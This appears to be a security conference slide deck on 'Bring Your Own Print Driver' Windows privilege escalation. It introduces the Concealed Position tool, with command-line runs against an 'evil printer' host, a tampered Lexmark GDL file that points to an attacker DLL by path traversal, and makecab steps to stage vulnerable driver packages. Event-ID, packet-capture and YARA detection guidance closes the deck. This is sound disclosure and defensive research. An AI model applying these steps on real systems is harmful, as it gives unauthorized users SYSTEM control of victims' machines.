8:42:04.9900653 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b277c2c-78d-8047-ba3e-129478ad53a4}\oemsetup.inf	NAME NOT FOUND	NT AUTHORITY\SYSTEM
8:42:04.9918008 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\oemsetup.inf	NAME NOT FOUND	NT AUTHORITY\SYSTEM
8:42:04.9927223 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B9B0-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.9928730 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B9B0-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.9939045 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B9B0-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:05.0055380 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B9B0-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:05.0057562 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B9B0-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:05.0072594 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b277c2c-78d-8047-ba3e-129478ad53a4}\oemsetup.inf	NAME NOT FOUND	NT AUTHORITY\SYSTEM
8:42:05.0538106 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b277c2c-78d-8047-ba3e-129478ad53a4}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:05.1020867 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b277c2c-78d-8047-ba3e-129478ad53a4}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:05.1784953 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b277c2c-78d-8047-ba3e-129478ad53a4}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:05.1956234 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b277c2c-78d-8047-ba3e-129478ad53a4}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:05.2200021 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b277c2c-78d-8047-ba3e-129478ad53a4}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:08.3549454 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b277c2c-78d-8047-ba3e-129478ad53a4}\oemsetup.inf	NOT A DIRECTORY	NT AUTHORITY\SYSTEM
8:42:08.3619231 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b277c2c-78d-8047-ba3e-129478ad53a4}\oemsetup.inf	NOT A DIRECTORY	NT AUTHORITY\SYSTEM
8:42:08.3628590 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b277c2c-78d-8047-ba3e-129478ad53a4}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:08.3706659 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b277c2c-78d-8047-ba3e-129478ad53a4}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:08.3710306 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\DriverStore\FileRepository\oemsetup.inf_amd64_9e2bf606b343d0fc	NAME NOT FOUND	NT AUTHORITY\SYSTEM
8:42:08.3716197 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\DriverStore\FileRepository\oemsetup.inf_amd64_9e2bf606b343d0fc	SUCCESS	NT AUTHORITY\SYSTEM
8:42:08.3716222 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\DriverStore\FileRepository\oemsetup.inf_amd64_9e2bf606b343d0fc	SUCCESS	NT AUTHORITY\SYSTEM

# STAGING A PRINT DRIVER

## Is This A WINDOWS VULNERABILITY?





# STAGING A PRINT DRIVER

## Is This Useful?



# YES!

- Nothing stopping us from installing old print drivers with known vulnerabilities
- No obvious way to patch this



# BRING YOUR OWN PRINT DRIVER VULNERABILITY

# BRING YOUR OWN PRINT DRIVER VULNERABILITY

## TOOL INTRODUCTION: CONCEALED POSITION

A screenshot of the GitHub repository page for 'concealed\_position' by user 'jacob-baines'. The repository is marked as 'Private'. The page shows the 'Code' tab selected, with a file list including '3rdparty', 'cab\_files', 'src', '.gitignore', 'LICENSE', 'README.md', and 'concealed\_position.sln'. The 'About' section on the right describes the tool as 'Bring your own print driver privilege escalation tool' and lists the license as 'BSD-3-Clause License'. The 'Releases' and 'Packages' sections indicate no releases or packages have been published. The 'Languages' section shows 'C++' at 100.0%. The 'README.md' file is open, showing the title 'Concealed Position' and a description of the tool as a local privilege escalation attack against Windows.

🔒 jacob-baines / concealed\_position Private

Unwatch 1 Star 0 Fork 0

<> Code Issues Pull requests Projects Security Insights Settings

main 1 branch 0 tags

Go to file Add file Code

**Commits**

Commit	Message	Time
15f39c9	Tweaked some metadata for a screenshot	3 days ago
	Restructured the code base. Hopefully didn't break anything.	16 days ago
	Added a PoC for CVE-2020-1300 called SLASHINGDAMAGE	4 days ago
	Tweaked some metadata for a screenshot	3 days ago
	Restructured the code base. Hopefully didn't break anything.	16 days ago
	Initial commit	18 days ago
	Update README.md	18 days ago
	Restructured the code base. Hopefully didn't break anything.	16 days ago

**Files**

- 3rdparty
- cab\_files
- src
- .gitignore
- LICENSE
- README.md
- concealed\_position.sln

**About**

Bring your own print driver privilege escalation tool

Readme

BSD-3-Clause License

**Releases**

No releases published

Create a new release

**Packages**

No packages published

Publish your first package

**Languages**

C++ 100.0%

### Concealed Position

Concealed Position is a local privilege escalation attack against Windows using the concept of "Bring Your Own Vulnerability". Specifically, CP uses the Point and Print logic in Windows that allows a low

[https://github.com/jacob-baines/concealed\\_position/](https://github.com/jacob-baines/concealed_position/)

# BRING YOUR OWN PRINT DRIVER VULNERABILITY CONCEALED POSITION



- Developed in C++
- Bad ASCII art
- Three components:
  - a. Server: Configuring the evil printer
  - b. Client: Automates driver staging and privilege escalation
  - c. DLL: The code to execute as SYSTEM

# BRING YOUR OWN PRINT DRIVER VULNERABILITY CONCEALED POSITION



- Currently implements four LPE exploits
- All with silly names. Because names are fun.
  - CVE-2020-1300: SlashingDamage (Windows)
  - CVE-2019-19363: PoisonDamage (Ricoh)
  - CVE-2021-35449: AcidDamage (Lexmark)
  - ????: RadiantDamage (Canon)
- The last three supports local-only exploitation if the affected driver is in the driver store.

# BRING YOUR OWN PRINT DRIVER VULNERABILITY

## CONCEALED POSITION SERVER



```
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe

CONCEALED
POSITION server!

CLI options:
-h, --help          Display the help message
-e, --exploit arg    The exploit to use

Exploits available:
    ACIDDAMAGE
    POISONDAMAGE
    RADIANTDAMAGE
    SLASHINGDAMAGE

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
```



# BRING YOUR OWN PRINT DRIVER VULNERABILITY

## CONCEALED POSITION CLIENT



```
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe

CONCEALED
POSITION client!

CLI options:
-h, --help          Display the help message
-r, --rhost arg     The remote evil printer address
-n, --name arg      The remote evil printer name
-e, --exploit arg   The exploit to use
-l, --local         No remote printer. Local attack only.

Exploits available:
    ACIDDAMAGE
    POISONDAMAGE
    RADIANTDAMAGE

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
```

# BRING YOUR OWN PRINT DRIVER VULNERABILITY CONCEALED POSITION CLIENT IN ACTION



Share View

Local Disk (C:)

Name	Date modified	Type
PerfLogs	4/11/2018 7:38 PM	File folder
Program Files	6/29/2021 7:30 PM	File folder
Program Files (x86)	4/12/2018 5:16 AM	File folder
Users	6/28/2021 6:37 PM	File folder
Windows	6/30/2021 4:46 PM	File folder
tmp	7/4/2021 12:03 PM	File folder
result	7/4/2021 12:03 PM	Text Document

result - Notepad

File Edit Format View Help

ht authority\system

```
C:\Users\lowlevel>cp_client -r 10.0.0.6 -n evilprinter -e ACIDDAMAGE
```

CONCEALED  
POSITION

```
[+] Checking if driver is already installed
[-] Driver is not available.
[+] Call back to evil printer @ \\10.0.0.6\evilprinter
[+] Staging driver in driver store
[+] Driver staged!
[+] Installing the staged driver
[+] Driver installed!
[+] Starting ACIDDAMAGE
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping dll to disk
[+] Installing printer
```


C:\Users\lowlevel>

# BRING YOUR OWN PRINT DRIVER VULNERABILITY

## CLIENT PRINTER WINAPI CALLS



- Calls to the remote printer:
  - `OpenPrinter`
  - `GetPrinterDriver`
  - `ClosePrinter`
- Local calls:
  - `InstallPrinterDriverFromPackage`
  - `AddPrinter`
  - `DeletePrinter`
  - `ClosePrinter`
- Silent
  - No UI
  - No windows update



# BRING YOUR OWN PRINT DRIVER VULNERABILITY

## WHY NOT POWERSHELL?



- The following will introduce the driver to the driver store:

```
AddPrinter -ConnectionName \\10.0.0.6\evilprinter
```

- Invokes and gets stuck in Windows Update
- Plus, I just like C++



# NEW DRIVER VULNERABILITIES



# NEW DRIVER VULNERABILITIES

## CVE-2021-35449: ACIDAMAGE



- [Lexmark Universal Printer Driver](#) 2.15.1.0 and below
- Reads attacker controlled configuration file from ProgramData to locate .dll
- Attacker inserts a malicious dll to escalate to SYSTEM.

```
Universal Color Laser.gdl - Notepad
File Edit Format View Help
<CONSTRUCT Name="*Feature" Instance="RESDLL">
  <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">None</GDL_ATTRIBUTE>
  <CONSTRUCT Name="*Option" Instance="UniresDLL">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">unires.dll</GDL_ATTRIBUTE>
  </CONSTRUCT>
  <CONSTRUCT Name="*Option" Instance="COMMON_RESDLL">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UE.DLL</GDL_ATTRIBUTE>
  </CONSTRUCT>
  <CONSTRUCT Name="*Option" Instance="PSSD_RESDLL">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UH.DLL</GDL_ATTRIBUTE>
  </CONSTRUCT>
  <CONSTRUCT Name="*Option" Instance="COMMON_BMPDLL">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UD.DLL</GDL_ATTRIBUTE>
  </CONSTRUCT>
  <CONSTRUCT Name="*Option" Instance="FRAMEWORKDLL">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UB.DLL</GDL_ATTRIBUTE>
  </CONSTRUCT>
  <CONSTRUCT Name="*Option" Instance="FRAMEWORKXML">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10P0.XML</GDL_ATTRIBUTE>
  </CONSTRUCT>
  <CONSTRUCT Name="*Option" Instance="HELPPFILECHM">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UI.CHM</GDL_ATTRIBUTE>
  </CONSTRUCT>
</CONSTRUCT>
```

```
Universal Color Laser - Notepad
File Edit Format View Help
<CONSTRUCT Name="*Feature" Instance="RESDLL">
  <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">None</GDL_ATTRIBUTE>
  <CONSTRUCT Name="*Option" Instance="UniresDLL">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">unires.dll</GDL_ATTRIBUTE>
  </CONSTRUCT>
  <CONSTRUCT Name="*Option" Instance="COMMON_RESDLL">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">..\..\..\..\tmp\D11.dll</GDL_ATTRIBUTE>
  </CONSTRUCT>
  <CONSTRUCT Name="*Option" Instance="PSSD_RESDLL">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UH.DLL</GDL_ATTRIBUTE>
  </CONSTRUCT>
  <CONSTRUCT Name="*Option" Instance="COMMON_BMPDLL">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UD.DLL</GDL_ATTRIBUTE>
  </CONSTRUCT>
  <CONSTRUCT Name="*Option" Instance="FRAMEWORKDLL">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UB.DLL</GDL_ATTRIBUTE>
  </CONSTRUCT>
  <CONSTRUCT Name="*Option" Instance="FRAMEWORKXML">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10P0.XML</GDL_ATTRIBUTE>
  </CONSTRUCT>
  <CONSTRUCT Name="*Option" Instance="HELPPFILECHM">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UI.CHM</GDL_ATTRIBUTE>
  </CONSTRUCT>
</CONSTRUCT>
```



# NEW DRIVER VULNERABILITIES

## CVE-2021-35449: ACIDDAMAGE



- The Concealed Position implementation is here:

[https://github.com/jacob-baines/concealed\\_position/blob/main/src/cp\\_client/aciddamage.cpp](https://github.com/jacob-baines/concealed_position/blob/main/src/cp_client/aciddamage.cpp)

- Metasploit pull request should exist at the time of presentation. Sorry! Challenges of recording weeks in advance.

# NEW DRIVER VULNERABILITIES

## CVE-2021-35449: ACIDDAMAGE



- Remember: Evil Printer Needs a CAB file
- Just download 2.10.0.5 from the [Update Catalog](#)

The screenshot displays the Microsoft Update Catalog interface. At the top, there's a search bar with 'Lexmark Universal' entered and a 'Search' button. Below the search bar, the results for 'Lexmark Universal' are shown. A table lists three updates, with the second one being the target for download.

Title	Products	Classification	Last Updated	Version	Size	Download
<a href="#">Lexmark International - Printers - Lexmark Universal v2 XL</a>	Windows 8, Windows 8.1 and later drivers	Drivers (Printers)	7/5/2012	2.1.5.15	64.2 MB	<a href="#">Download</a>
<a href="#">Lexmark International - Printers - Lexmark Universal v2</a>	Windows 7, Windows 8, Windows 8.1 Drivers, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2 and later drivers	Drivers (Printers)	9/30/2015	2.10.0.5	23.8 MB	<a href="#">Download</a>
<a href="#">Lexmark International - Printers - Lexmark Universal v2</a>	Windows 10 Anniversary Update and Later Servicing Drivers, Windows 10 RS2 and Later Servicing Drivers for testing	Drivers (Printers)	9/30/2015	2.10.0.5	23.8 MB	<a href="#">Download</a>

Below the table, a download dialog box is open, showing the download link for 'Lexmark International - Printers - Lexmark Universal v2'.

Download  
Download Updates


**Lexmark International - Printers - Lexmark Universal v2**

[20942922\\_f85785ee293c7b78fa2f8f630eab78852af9133.cab](https://www.catalog.update.microsoft.com/DownloadDialog.aspx?CatalogItem=20942922_f85785ee293c7b78fa2f8f630eab78852af9133.cab)

Close



# NEW DRIVER VULNERABILITIES

## CVE-2021-35449: ACIDAMAGE



# NEW DRIVER VULNERABILITIES

## CVE-2021-35449: ACIDDAMAGE





# NEW DRIVER VULNERABILITIES

## CVE-2021-35449: ACID DAMAGE



```
files - Notepad
File Edit Format View Help
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1o40.inf
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1o40.in_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1o40.tx_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1o40m.gp_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1o4b.gd_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1o4b.xm_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1o4bw.xm_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1oimg.pn_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1op0.xm_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1opt.xm_
.Set DestinationDir=amd64
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LangD11.d11
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1o40.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1o4a.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1o4c.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1o4z.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1o4z.ex_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1obc.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1obj.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1opt.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1opu.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1otd.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1oua.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1oub.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1ouc.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1oud.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1oue.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1ouf.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1oug.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1ouh.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\ntprint.cat
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\ntprint.inf
.Set DestinationDir=amd64/amd64
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\amd64\locale.gp_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\amd64\msxpsinc.gp_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\amd64\msxpsinc.pp_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\amd64\mxdwdrv.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\amd64\p6disp.gp_
```

```
> dir /s /b /a-d > ../files.txt
-- modify files.txt to include DestinationDir --
> makecab /D MaxDiskSize=268435456 /d "CabinetName1=LMUD1o40.cab" /f ../files.txt
```

```
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI>makecab /D MaxDiskSize=268435456
/d "CabinetName1=LMUD1o40.cab" /f ../files.txt
Cabinet Maker - Lossless Data Compression Tool

32,080,966 bytes in 138 files
Total files:          138
Bytes before:         32,080,966
Bytes after:          28,880,599
After/Before:         90.02% compression
Time:                 20.23 seconds ( 0 hr  0 min 20.23 sec)
Throughput:           1548.87 Kb/second

C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI>
```

# NEW DRIVER VULNERABILITIES

## CVE-2021-??? RADIANT DAMAGE



- [Canon TR150 Driver](#) 3.71.2.10 and below.
- Successful attack escalates privileges to SYSTEM.






# NEW DRIVER VULNERABILITIES

## CVE-2021-??? RADIANT DAMAGE



- Similar to Ricoh vulnerability. Race condition to overwrite dll in `C:\ProgramData\CanonBJ\IJPrinter\CNMWINDOWS\Canon TR150 Series\LanguageModules\`
- Harder to time than Ricoh vulnerability.



# NEW DRIVER VULNERABILITIES CVE-2021-???? RADIANT DAMAGE



Microsoft® Update Catalog

FAQ | help


TR150 Search

Search results for "TR150"

Updates: 1 - 10 of 10 (page 1 of 1) Previous | Next

Title	Products	Classification	Last Updated	Version	Size	Download
<a href="#">Canon - Printer - 3.71.2.10</a>	Windows 7	Drivers (Printers)	3/31/2020	3.71.2.10	8.9 MB	<a href="#">Download</a>
<a href="#">Canon - Printer - 3.71.2.10</a>	Windows 7	Drivers (Printers)	3/31/2020	3.71.2.10	7.7 MB	<a href="#">Download</a>
<a href="#">Canon - Printer - 3.71.2.10</a>	Windows 10, version 1903 and later, Servicing Drivers, Windows 10, version 1903 and later, Upgrade & Servicing Drivers	Drivers (Printers)	3/31/2020	3.71.2.10	7.7 MB	<a href="#">Download</a>
<a href="#">Canon - Printer - 3.70.2.10</a>	Windows 10, version 1903 and later, Servicing Drivers	Drivers (Printers)	11/7/2019	3.70.2.10	8.9 MB	<a href="#">Download</a>
<a href="#">Canon - Printer - 3.70.2.10</a>	Windows 7	Drivers (Printers)	11/7/2019	3.70.2.10	8.9 MB	<a href="#">Download</a>

# NEW DRIVER VULNERABILITIES CVE-2021-???? RADIANT DAMAGE



Share View

<< AppData > Local > Temp > DL\_FOLDER > PD\_\_DL > PD\_\_DL > pd\_-win-tr150-1\_01-ea34\_2 > Driver >

Name	Date modified	Type	Size
PrnCm	4/1/2020 10:21 PM	Cabinet File	10 KB
PRNG3	4/1/2020 9:24 PM	Cabinet File	7,872 KB
PRNG6	4/1/2020 10:21 PM	Cabinet File	9,147 KB
PRNT.CHECKSUM	4/20/2020 9:23 AM	CHECKSUM File	1 KB
TR150U	4/17/2020 5:13 PM	Security Catalog	11 KB
TR150U	4/1/2020 8:33 PM	Setup Information	2 KB
TR1503	4/17/2020 5:13 PM	Security Catalog	72 KB
TR1503	4/1/2020 5:00 AM	Setup Information	19 KB
TR1506	4/17/2020 5:13 PM	Security Catalog	75 KB
TR1506	4/1/2020 5:00 AM	Setup Information	19 KB

# NEW DRIVER VULNERABILITIES

## CVE-2021-???? RADIANT DAMAGE



```
> dir /s /b /a-d > ../files.txt  
> makecab /D MaxDiskSize=268435456 /d "CabinetName1=TR1506.cab" /f ../files.txt
```

```
\AppData\Local\Temp\DL_FOLDER\PD___DL\PD___DL\pd__-win-tr150-1_01-ea34_2\Driver>dir /s /b /a-d > .  
../files.txt  
  
\AppData\Local\Temp\DL_FOLDER\PD___DL\PD___DL\pd__-win-tr150-1_01-ea34_2\Driver>makecab /D MaxDisk  
Size=268435456 /d "CabinetName1=TR1506.cab" /f ../files.txt  
Cabinet Maker - Lossless Data Compression Tool  
  
17,635,062 bytes in 10 files  
Total files:          10  
Bytes before:    17,635,062  
Bytes after:     17,375,182  
After/Before:           98.53% compression  
Time:                9.39 seconds ( 0 hr  0 min  9.39 sec)  
Throughput:          1834.44 Kb/second  
  
_ \AppData\Local\Temp\DL_FOLDER\PD___DL\PD___DL\pd__-win-tr150-1_01-ea34_2\Driver>_
```

# NEW DRIVER VULNERABILITIES

## CVE-2021-????: RADIANTDAMAGE



- Implementation can be found here:

[https://github.com/jacob-baines/concealed\\_position/blob/main/src/cp\\_client/radiantdamage.cpp](https://github.com/jacob-baines/concealed_position/blob/main/src/cp_client/radiantdamage.cpp)

- Metasploit pull request should exist at the time of presentation. Sorry! Challenges of recording weeks in advance.

# DETECTION & MITIGATION



# DETECTION

## EVENT ID 600



The screenshot shows the Windows Event Viewer interface. On the left, the 'Administrative Events' log is selected. The main pane displays a list of events, with Event ID 600 from the 'PrintService' source highlighted. Below the list, the details for Event 600 are shown, including a description of the error and a list of properties.

Level	Date and Time	Source	Event ID	Task Category
Error	6/28/2021 7:13:30 PM	PrintService	600	Client-side rendering
Error	6/28/2021 7:13:28 PM	PrintService	601	Client-side rendering

**Event 600, PrintService**

**General** | Details

The print spooler failed to import the printer driver that was downloaded from [\\10.0.0.6\print\\$\x64\PCP\slashing\\_damage.cab](#) into the driver store for driver CutePDF Writer v4.0. Error code= 80070002. This can occur if there is a problem with the driver or the digital signature of the driver.

Log Name: Microsoft-Windows-PrintService/Admin  
Source: PrintService  
Event ID: 600  
Level: Error  
User: SYSTEM  
OpCode: Spooler Operation Failed  
More Information: [Event Log Online Help](#)

Logged: 6/28/2021 7:13:30 PM  
Task Category: Client-side rendering  
Keywords: Client Side Rendering (CSR), Classic Spooler Event  
Computer: DESKTOP-94CB16L

# DETECTION

## EVENT ID 215



The screenshot shows the Windows Event Viewer interface. The left pane displays the 'Administrative Events' log. The right pane shows a list of events with columns for Level, Date and Time, and Source. The selected event is Event 215, PrintService, which is an Error level event. The details pane shows the message: 'Installing printer driver PCL6 Driver for Universal Print failed, error code 0x0, HRESULT 0x80070705. See the event user data for context information.' Below the message, the event properties are listed.

Level	Date and Time	Source
Warning	7/9/2021 5:04:25 PM	DistributedCOM
Error	7/9/2021 6:37:59 AM	PrintService
Error	7/9/2021 6:37:55 AM	PrintService

Event 215, PrintService

General Details


Installing printer driver PCL6 Driver for Universal Print failed, error code 0x0, HRESULT 0x80070705. See the event user data for context information.

Log Name: Microsoft-Windows-PrintService/Admin  
Source: PrintService  
Event ID: 215  
Level: Error  
User: SYSTEM  
OpCode: Spooler Operation Failed  
More Information: [Event Log Online Help](#)

Logged: 7/9/2021 6:37:55 AM  
Task Category: Installing a printer driver  
Keywords: Printer Setup,Printer  
Computer: feywild

# DETECTION

## SETUPAPI.DEV





# DETECTION ON THE WIRE



concealed\_on\_the\_wire.pcapng

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Apply a display filter ... <Ctrl-/>

No.	Time	Source	Destination	Protocol	Length	Info
31	0.044523	10.0.0.6	10.0.0.7	SMB2	138	Write Response
32	0.044675	10.0.0.7	10.0.0.6	SMB2	171	Read Request Len:1024 Off:0 File: spoolss
33	0.046879	10.0.0.6	10.0.0.7	DCERPC	254	Bind_ack: call_id: 2, Fragment: Single, max_xmit: 4280 max_rec...
34	0.047050	10.0.0.7	10.0.0.6	SPOOLSS	464	OpenPrinterEx request, [Long frame (174 bytes)]
35	0.049137	10.0.0.6	10.0.0.7	SPOOLSS	218	OpenPrinterEx response
36	0.049301	10.0.0.7	10.0.0.6	SPOOLSS	274	GetPrinterData request, OSVersion
37	0.051174	10.0.0.6	10.0.0.7	SPOOLSS	502	GetPrinterData response, OSVersion[Long frame (292 bytes)]
38	0.051819	10.0.0.7	10.0.0.6	SPOOLSS	222	ClosePrinter request, OpenPrinterEx()
39	0.055567	10.0.0.6	10.0.0.7	SPOOLSS	218	ClosePrinter response

concealed\_on\_the\_wire.pcapng

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Apply a display filter ... <Ctrl-/>

Packet bytes Narrow & Wide Case sensitive String LMUD Find Cancel

No.	Time	Source	Destination	Protocol	Length	Info
340	0.399926	10.0.0.7	10.0.0.6	IREMOT...	374	winspool_AsyncGetPrinterDriverPackagePath request
341	0.403078	10.0.0.6	10.0.0.7	IREMOT...	118	winspool_AsyncGetPrinterDriverPackagePath response
342	0.403271	10.0.0.7	10.0.0.6	IREMOT...	454	winspool_AsyncGetPrinterDriverPackagePath request
343	0.405621	10.0.0.6	10.0.0.7	IREMOT...	214	winspool_AsyncGetPrinterDriverPackagePath response
344	0.406191	10.0.0.7	10.0.0.6	SMB2	214	Ioctl Request FSCTL_DFS_GET_REFERRALS, File: \\10.0.0.6\print\$
345	0.408258	10.0.0.6	10.0.0.7	SMB2	130	Ioctl Response, Error: STATUS_FS_DRIVER_REQUIRED
346	0.408502	10.0.0.7	10.0.0.6	SMB2	164	Tree Connect Request Tree: \\10.0.0.6\print\$
347	0.410452	10.0.0.6	10.0.0.7	SMB2	138	Tree Connect Response
348	0.411380	10.0.0.7	10.0.0.6	SMB2	398	Create Request File: x64\PCC\LMUD1o40.cab
349	0.451506	10.0.0.7	10.0.0.6	TCP	54	51462 → 49668 [ACK] Seq=228831 Ack=230395 Win=163072 Len=0
350	0.452398	10.0.0.6	10.0.0.7	TCP	60	445 → 51460 [ACK] Seq=5417 Ack=6042 Win=129792 Len=0
351	0.739205	10.0.0.6	10.0.0.7	SMB2	410	Create Response File: x64\PCC\LMUD1o40.cab

[https://github.com/jacob-baines/concealed\\_position/tree/main/detection](https://github.com/jacob-baines/concealed_position/tree/main/detection)

# DETECTION

## UNIQUE STRING



- cp\_client.exe has a 64 byte unique string embedded for detection: WVqtcQKfeIUxunX1jAadGwMiir5LacjHwN8tVl1Pr7AiwJnZCsik2TxHLZgGhErb
- YARA rule in the detections subdirectory

```
193 lines (170 sloc) | 6.21 KB
1  #include <stdlib.h>
2  #include <Windows.h>
3  #include <iostream>
4  #include <thread>
5  #include <chrono>
6  #include <set>
7
8  #include "popl.hpp"
9  #include "exploitfactory.h"
10
11 namespace
12 {
